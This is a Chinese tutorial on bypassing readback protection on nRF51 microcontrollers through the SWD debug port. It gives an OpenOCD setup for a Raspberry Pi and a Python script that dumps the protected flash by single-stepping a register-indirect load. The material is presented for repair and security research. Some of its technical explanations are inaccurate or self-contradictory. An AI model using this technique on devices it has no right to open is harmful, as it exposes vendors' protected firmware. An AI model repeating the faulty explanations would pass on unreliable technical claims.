nRF51系列单片机读取保护绕过
字数 1650 2025-08-22 12:22:59
nRF51系列单片机读取保护绕过技术详解
1. 背景介绍
本教程详细讲解如何绕过nRF51系列单片机(以nRF51288为例)的读取保护机制,提取受保护的固件内容。这种技术在逆向工程、设备修复和安全研究中非常有用,特别是当厂商停止支持或设备固件无法通过正常方式获取时。
2. 硬件准备
2.1 所需设备
- nRF51系列目标设备(本案例为PM2.5检测器,使用nRF51288芯片)
- 树莓派(本案例使用树莓派3)
- SWD调试接口连接线(1.54mm间距排针)
- 焊接工具(用于连接SWD接口)
2.2 SWD接口识别
nRF51系列单片机通常提供SWD调试接口,引脚排列一般为:
- SWCLK (Serial Wire Clock)
- SWDIO (Serial Wire Data Input/Output)
- GND (Ground)
- VCC (3.3V电源)
3. 软件环境配置
3.1 OpenOCD配置
需要为树莓派3修改OpenOCD配置文件,主要调整以下参数:
interface bcm2835gpio
bcm2835gpio_peripheral_base 0x3F000000
bcm2835gpio_speed_coeffs 194938 48 # 树莓派3特定参数
reset_config none separate
transport select swd
# SWD引脚定义(树莓派GPIO编号)
bcm2835gpio_swd_nums 25 24 # SWCLK=GPIO25, SWDIO=GPIO24
# nRF51系列配置
source [find target/swj-dp.tcl]
set _CHIPNAME nrf51
set _ENDIAN little
set _WORKAREASIZE 0x4000
set _CPUTAPID 0x0bb11477
swj_newdap $_CHIPNAME cpu -expected-id $_CPUTAPID -irlen 4
set _TARGETNAME $_CHIPNAME.cpu
target create $_TARGETNAME cortex_m -chain-position $_TARGETNAME
$_TARGETNAME configure -work-area-phys 0x20000000 -work-area-size $_WORKAREASIZE -work-area-backup 0
flash bank $_CHIPNAME.flash nrf51 0x00000000 0 1 1 $_TARGETNAME
flash bank $_CHIPNAME.uicr nrf51 0x10001000 0 1 1 $_TARGETNAME
关键修改点:
-irlen 4:nRF51使用32位M0内核,指令长度为4字节- 树莓派3的CPU频率参数调整
- 明确指定SWD传输协议
- 禁用reset信号处理(如果未连接reset引脚)
4. 读取保护机制分析
4.1 保护机制概述
nRF51系列通过RBPCONF寄存器实现读取保护:
- CR0:禁止代码地址访问
- CR1:禁止部分代码或调试接口访问
4.2 UICR寄存器
User Information Configuration Registers (UICR)位于0x10001000,包含:
- RBPCONF寄存器(0x10001004):控制读取保护配置
- 其他芯片运行参数(如bootloader地址、代码段长度等)
4.3 保护特性
- 读取保护通过硬件模块实现,仅保护内存操作
- 寄存器操作不受限制
- 修改UICR需要擦除整个闪存(通过NVMC控制器)
5. 绕过保护的技术原理
5.1 核心思路
利用ARM Thumb指令集的特性:
- Thumb指令长度为16bit,32位寻址必须通过寄存器间接寻址
- 找到使用寄存器间接寻址的指令(如
LDR R3, [R3]) - 控制PC指针执行该指令,同时操纵源寄存器指向目标内存地址
5.2 具体实现步骤
- 识别使用寄存器间接寻址的指令地址(案例中为0x6d4)
- 设置PC寄存器指向该地址
- 设置用于寻址的寄存器(案例中使用R4)为目标内存地址
- 单步执行指令
- 读取目标寄存器获取内存内容
6. 固件提取实战
6.1 准备工作
- 启动OpenOCD:
openocd -f xxx.cfg - 连接OpenOCD telnet接口:
nc 127.0.0.1 4444
6.2 验证保护状态
读取RBPCONF寄存器值(0x10001004):
reg pc 0x6d4
reg r4 0x10001004
step
reg r4
预期结果:0xffff0000表示保护全开
6.3 自动化提取脚本
使用Python脚本自动提取整个闪存内容(0x00000-0x40000):
from pwn import *
import re
p = remote("127.0.0.1", "4444")
p.recvuntil(">")
p.write("reset halt\n")
p.recvuntil(">")
with open("firmware.bin", "wb") as f:
for addr in range(0, 0x40000, 4):
p.write("reg pc 0x6d4\n")
p.recvuntil(">")
p.write("reg r4 " + hex(addr) + "\n")
p.recvuntil(">")
p.write("step\n")
p.recvuntil(">")
p.write("reg r4\n")
ret = p.recvuntil(">")
d = re.search('0x[0-9a-fA-F]{8}', ret.decode('utf-8'))[0]
f.write(p32(int(d, 16)))
if addr % 0x100 == 0:
print("reading:", addr)
6.4 脚本说明
- 逐4字节读取整个闪存空间
- 每次操作:
- 设置PC到0x6d4(间接寻址指令地址)
- 设置R4为当前读取地址
- 单步执行
- 读取R4值(包含目标内存内容)
- 写入输出文件
- 每读取256字节打印进度信息
7. 结果验证
提取完成后:
- 使用IDA Pro等工具分析
firmware.bin - 确认0x6d4地址确实包含寄存器间接寻址指令
- 验证固件完整性
8. 注意事项
- 焊接SWD接口时要小心,避免短路
- 树莓派GPIO电压为3.3V,与目标设备匹配
- 读取过程较慢(约30分钟读取完整固件)
- 该方法依赖于特定指令的存在,不同固件可能需要调整目标指令地址
- 操作前确认设备不包含其他物理保护措施(如防拆标签)
9. 扩展应用
此技术可应用于:
- 废弃设备的固件恢复
- 蓝牙协议逆向工程
- 安全研究中的固件分析
- 设备功能修改与定制
通过这种方法,即使面对全保护的nRF51系列设备,也能成功提取固件进行进一步分析。